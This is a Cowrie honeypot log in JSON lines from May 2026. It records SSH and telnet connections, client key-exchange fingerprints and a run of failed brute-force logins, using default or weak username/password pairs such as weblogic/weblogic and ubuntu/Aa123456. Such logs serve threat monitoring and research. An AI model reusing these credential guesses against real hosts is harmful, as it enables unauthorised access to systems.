{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:47.237233Z","src_ip":"45.156.87.204","session":"accd1bc297d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:47.487130Z","src_ip":"45.156.87.204","session":"accd1bc297d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.390135765075684,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:47.708734Z","src_ip":"152.42.224.71","session":"153525bb0c08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:48.604594Z","src_ip":"45.156.87.204","session":"accd1bc297d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55594,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7c1ba610c72","protocol":"telnet","message":"New connection: 152.42.224.71:55594 (10.17.0.5:23) [session: e7c1ba610c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:49.937433Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":33130,"dst_ip":"159.203.135.109","dst_port":22,"session":"1db9fed44793","protocol":"ssh","message":"New connection: 45.156.87.204:33130 (159.203.135.109:22) [session: 1db9fed44793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:50.743387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:50.771250Z","src_ip":"45.156.87.204","session":"1db9fed44793","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:50.864615Z","src_ip":"45.156.87.204","session":"1db9fed44793","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:51.211544Z","src_ip":"45.156.87.204","session":"1db9fed44793","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:52.296379Z","src_ip":"45.156.87.204","session":"1db9fed44793","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49676,"dst_ip":"159.203.135.109","dst_port":22,"session":"10225167b4ea","protocol":"ssh","message":"New connection: 45.156.87.204:49676 (159.203.135.109:22) [session: 10225167b4ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:54.262857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:54.267787Z","src_ip":"45.156.87.204","session":"10225167b4ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:54.351602Z","src_ip":"45.156.87.204","session":"10225167b4ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:54.844040Z","src_ip":"45.156.87.204","session":"10225167b4ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:55.929762Z","src_ip":"45.156.87.204","session":"10225167b4ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49682,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f8147fec76f","protocol":"ssh","message":"New connection: 45.156.87.204:49682 (159.203.135.109:22) [session: 0f8147fec76f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:58.077175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:58.085524Z","src_ip":"45.156.87.204","session":"0f8147fec76f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:58.183251Z","src_ip":"45.156.87.204","session":"0f8147fec76f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:58.440377Z","src_ip":"45.156.87.204","session":"0f8147fec76f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:59.546776Z","src_ip":"45.156.87.204","session":"0f8147fec76f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49698,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a8d0a3ef5f4","protocol":"ssh","message":"New connection: 45.156.87.204:49698 (159.203.135.109:22) [session: 2a8d0a3ef5f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:01.857093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:01.864625Z","src_ip":"45.156.87.204","session":"2a8d0a3ef5f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:01.947804Z","src_ip":"45.156.87.204","session":"2a8d0a3ef5f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"tom123","message":"login attempt [tom/tom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:02.207006Z","src_ip":"45.156.87.204","session":"2a8d0a3ef5f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48794,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b9e60a80b70","protocol":"telnet","message":"New connection: 152.42.224.71:48794 (10.17.0.5:23) [session: 1b9e60a80b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:03.176717Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:03.291885Z","src_ip":"45.156.87.204","session":"2a8d0a3ef5f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.46708679199219,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:03.780771Z","src_ip":"152.42.224.71","session":"f98e69dfcb4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":51620,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6116ff9642f","protocol":"ssh","message":"New connection: 45.156.87.204:51620 (159.203.135.109:22) [session: f6116ff9642f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:05.537492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:05.543357Z","src_ip":"45.156.87.204","session":"f6116ff9642f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:05.626883Z","src_ip":"45.156.87.204","session":"f6116ff9642f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:05.873461Z","src_ip":"45.156.87.204","session":"f6116ff9642f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:06.958792Z","src_ip":"45.156.87.204","session":"f6116ff9642f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":91.77430772781372,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:07.243152Z","src_ip":"152.42.224.71","session":"c80e55868c2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0019121170044,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:08.016198Z","src_ip":"152.42.224.71","session":"26a9fed27510","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.34566593170166,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:08.291106Z","src_ip":"152.42.224.71","session":"ba2ea6503b4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":51634,"dst_ip":"159.203.135.109","dst_port":22,"session":"503926c100da","protocol":"ssh","message":"New connection: 45.156.87.204:51634 (159.203.135.109:22) [session: 503926c100da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:09.344258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:09.357974Z","src_ip":"45.156.87.204","session":"503926c100da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:09.440474Z","src_ip":"45.156.87.204","session":"503926c100da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:09.690403Z","src_ip":"45.156.87.204","session":"503926c100da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42064,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2e76182d980","protocol":"telnet","message":"New connection: 152.42.224.71:42064 (10.17.0.5:23) [session: a2e76182d980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:10.379446Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:10.856377Z","src_ip":"45.156.87.204","session":"503926c100da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":52412,"dst_ip":"159.203.135.109","dst_port":22,"session":"67d2e2e79231","protocol":"ssh","message":"New connection: 45.156.87.204:52412 (159.203.135.109:22) [session: 67d2e2e79231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:12.866955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:12.872333Z","src_ip":"45.156.87.204","session":"67d2e2e79231","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:12.967518Z","src_ip":"45.156.87.204","session":"67d2e2e79231","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neptune","password":"neptune","message":"login attempt [neptune/neptune] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:13.368071Z","src_ip":"45.156.87.204","session":"67d2e2e79231","protocol":"ssh"}
